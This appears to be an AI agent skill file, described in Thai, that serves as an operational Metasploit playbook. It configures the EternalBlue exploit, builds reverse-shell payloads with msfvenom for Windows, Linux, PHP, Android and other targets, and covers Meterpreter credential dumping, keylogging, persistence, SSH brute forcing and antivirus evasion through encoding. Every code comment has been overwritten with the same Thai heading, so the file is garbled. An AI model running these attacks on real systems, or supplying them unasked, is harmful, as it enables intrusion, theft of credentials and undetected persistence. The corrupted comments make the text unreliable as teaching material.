---
name: Metasploit Framework
description: "สกิลสำหรับ Metasploit Framework ใช้เมื่อต้องการแนวทาง ขั้นตอน Template หรือคำแนะนำเชิงปฏิบัติสำหรับงาน IT, SysAdmin, Infrastructure, Security, Network, Server และระบบปฏิบัติการ ในหัวข้อนี้"
metadata:
  author: zebbern
  version: "1.1"
---

# สกิล: Metasploit Framework

## Purpose

Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.

## Prerequisites

### Required Tools
```bash
# สกิล: Metasploit Framework
# สกิล: Metasploit Framework
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# สกิล: Metasploit Framework
sudo systemctl start postgresql
sudo msfdb init
```

### Required Knowledge
- Network and system fundamentals
- Understanding of vulnerabilities and exploits
- Basic programming concepts
- Target enumeration techniques

### Required Access
- Written authorization for testing
- Network access to target systems
- Understanding of scope and rules of engagement

## Outputs and Deliverables

1. **Exploitation Evidence** - Screenshots and logs of successful compromises
2. **Session Logs** - Command history and extracted data
3. **Vulnerability Mapping** - Exploited vulnerabilities with CVE references
4. **Post-Exploitation Artifacts** - Credentials, files, and system information

## Core Workflow

### Phase 1: MSFConsole Basics

Launch and navigate the Metasploit console:

```bash
# สกิล: Metasploit Framework
msfconsole

# สกิล: Metasploit Framework
msfconsole -q

# สกิล: Metasploit Framework
msf6 > help                    # Show all commands
msf6 > search [term]           # Search modules
msf6 > use [module]            # Select module
msf6 > info                    # Show module details
msf6 > show options            # Display required options
msf6 > set [OPTION] [value]    # Configure option
msf6 > run / exploit           # Execute module
msf6 > back                    # Return to main console
msf6 > exit                    # Exit msfconsole
```

### Phase 2: Module Types

Understand the different module categories:

```bash
# สกิล: Metasploit Framework
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# สกิล: Metasploit Framework
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# สกิล: Metasploit Framework
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version

# สกิล: Metasploit Framework
msf6 > show post
msf6 > use post/windows/gather/hashdump

# สกิล: Metasploit Framework
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai

# สกิล: Metasploit Framework
msf6 > show nops

# สกิล: Metasploit Framework
msf6 > show evasion
```

### Phase 3: Searching for Modules

Find appropriate modules for targets:

```bash
# สกิล: Metasploit Framework
msf6 > search eternalblue

# สกิล: Metasploit Framework
msf6 > search cve:2017-0144

# สกิล: Metasploit Framework
msf6 > search platform:windows type:exploit

# สกิล: Metasploit Framework
msf6 > search type:auxiliary smb

# สกิล: Metasploit Framework
msf6 > search rank:excellent

# สกิล: Metasploit Framework
msf6 > search type:exploit platform:linux apache

# สกิล: Metasploit Framework
# สกิล: Metasploit Framework
```

### Phase 4: Configuring Exploits

Set up an exploit for execution:

```bash
# สกิล: Metasploit Framework
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# สกิล: Metasploit Framework
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

# สกิล: Metasploit Framework
msf6 exploit(...) > set RHOSTS 192.168.1.100

# สกิล: Metasploit Framework
msf6 exploit(...) > set RPORT 445

# สกิล: Metasploit Framework
msf6 exploit(...) > show payloads

# สกิล: Metasploit Framework
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# สกิล: Metasploit Framework
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444

# สกิล: Metasploit Framework
msf6 exploit(...) > show options

# สกิล: Metasploit Framework
msf6 exploit(...) > check

# สกิล: Metasploit Framework
msf6 exploit(...) > exploit
# สกิล: Metasploit Framework
msf6 exploit(...) > run
```

### Phase 5: Payload Types

Select appropriate payload for the situation:

```bash
# สกิล: Metasploit Framework
windows/shell_reverse_tcp
linux/x86/shell_bind_tcp

# สกิล: Metasploit Framework
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp

# สกิล: Metasploit Framework
# สกิล: Metasploit Framework

# สกิล: Metasploit Framework
# สกิล: Metasploit Framework
# สกิล: Metasploit Framework
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcp
```

### Phase 6: Meterpreter Session

Work with Meterpreter post-exploitation:

```bash
# สกิล: Metasploit Framework
meterpreter >

# สกิล: Metasploit Framework
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid

# สกิล: Metasploit Framework
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpreter > download file.txt /tmp/
meterpreter > upload /tmp/tool.exe C:\\

# สกิล: Metasploit Framework
meterpreter > ps
meterpreter > migrate [PID]
meterpreter > kill [PID]

# สกิล: Metasploit Framework
meterpreter > ipconfig
meterpreter > netstat
meterpreter > route
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1

# สกิล: Metasploit Framework
meterpreter > getsystem
meterpreter > getprivs

# สกิล: Metasploit Framework
meterpreter > hashdump
meterpreter > run post/windows/gather/credentials/credential_collector

# สกิล: Metasploit Framework
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

# สกิล: Metasploit Framework
meterpreter > shell
C:\Windows\system32> whoami
C:\Windows\system32> exit
meterpreter >

# สกิล: Metasploit Framework
meterpreter > background
msf6 exploit(...) > sessions -l
msf6 exploit(...) > sessions -i 1
```

### Phase 7: Auxiliary Modules

Use auxiliary modules for reconnaissance:

```bash
# สกิล: Metasploit Framework
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# สกิล: Metasploit Framework
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set PORTS 1-1000
msf6 auxiliary(...) > run

# สกิล: Metasploit Framework
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# สกิล: Metasploit Framework
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# สกิล: Metasploit Framework
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# สกิล: Metasploit Framework
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > run
```

### Phase 8: Post-Exploitation Modules

Run post modules on active sessions:

```bash
# สกิล: Metasploit Framework
msf6 > sessions -l

# สกิล: Metasploit Framework
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(...) > run

# สกิล: Metasploit Framework
meterpreter > run post/windows/gather/hashdump

# สกิล: Metasploit Framework
# สกิล: Metasploit Framework
post/windows/gather/credentials/credential_collector
post/windows/gather/lsa_secrets
post/windows/gather/cachedump
post/multi/gather/ssh_creds

# สกิล: Metasploit Framework
post/windows/gather/enum_applications
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_shares
post/linux/gather/enum_configs

# สกิล: Metasploit Framework
post/windows/escalate/getsystem
post/multi/recon/local_exploit_suggester

# สกิล: Metasploit Framework
post/windows/manage/persistence_exe
post/linux/manage/sshkey_persistence

# สกิล: Metasploit Framework
post/multi/manage/autoroute
```

### Phase 9: Payload Generation with msfvenom

Create standalone payloads:

```bash
# สกิล: Metasploit Framework
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe

# สกิล: Metasploit Framework
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf

# สกิล: Metasploit Framework
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php

# สกิล: Metasploit Framework
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py

# สกิล: Metasploit Framework
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1

# สกิล: Metasploit Framework
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp

# สกิล: Metasploit Framework
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war

# สกิล: Metasploit Framework
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk

# สกิล: Metasploit Framework
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

# สกิล: Metasploit Framework
msfvenom --list formats

# สกิล: Metasploit Framework
msfvenom --list encoders
```

### Phase 10: Setting Up Handlers

Configure listener for incoming connections:

```bash
# สกิล: Metasploit Framework
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j

# สกิล: Metasploit Framework
msf6 > jobs -l

# สกิล: Metasploit Framework
[*] Meterpreter session 1 opened

# สกิล: Metasploit Framework
msf6 > sessions -i 1
```

## Quick Reference

### Essential MSFConsole Commands

| Command | Description |
|---------|-------------|
| `search [term]` | Search for modules |
| `use [module]` | Select a module |
| `info` | Display module information |
| `show options` | Show configurable options |
| `set [OPT] [val]` | Set option value |
| `setg [OPT] [val]` | Set global option |
| `run` / `exploit` | Execute module |
| `check` | Verify target vulnerability |
| `back` | Deselect module |
| `sessions -l` | List active sessions |
| `sessions -i [N]` | Interact with session |
| `jobs -l` | List background jobs |
| `db_nmap` | Run nmap with database |

### Meterpreter Essential Commands

| Command | Description |
|---------|-------------|
| `sysinfo` | System information |
| `getuid` | Current user |
| `getsystem` | Attempt privilege escalation |
| `hashdump` | Dump password hashes |
| `shell` | Drop to system shell |
| `upload/download` | File transfer |
| `screenshot` | Capture screen |
| `keyscan_start` | Start keylogger |
| `migrate [PID]` | Move to another process |
| `background` | Background session |
| `portfwd` | Port forwarding |

### Common Exploit Modules

```bash
# สกิล: Metasploit Framework
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms08_067_netapi
exploit/windows/http/iis_webdav_upload_asp
exploit/windows/local/bypassuac

# สกิล: Metasploit Framework
exploit/linux/ssh/sshexec
exploit/linux/local/overlayfs_priv_esc
exploit/multi/http/apache_mod_cgi_bash_env_exec

# สกิล: Metasploit Framework
exploit/multi/http/tomcat_mgr_upload
exploit/unix/webapp/wp_admin_shell_upload
exploit/multi/http/jenkins_script_console
```

## Constraints and Limitations

### Legal Requirements
- Only use on systems you own or have written authorization to test
- Document all testing activities
- Follow rules of engagement
- Report all findings to appropriate parties

### Technical Limitations
- Modern AV/EDR may detect Metasploit payloads
- Some exploits require specific target configurations
- Firewall rules may block reverse connections
- Not all exploits work on all target versions

### Operational Security
- Use encrypted channels (reverse_https) when possible
- Clean up artifacts after testing
- Avoid detection by monitoring systems
- Limit post-exploitation to agreed scope

## Troubleshooting

| Issue | Solutions |
|-------|-----------|
| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |
| Exploit fails/no session | Run `check`; verify payload architecture; check firewall; try different payloads |
| Session dies immediately | Migrate to stable process; use stageless payload; check AV; use AutoRunScript |
| Payload detected by AV | Use encoding `-e x86/shikata_ga_nai -i 10`; use evasion modules; custom templates |
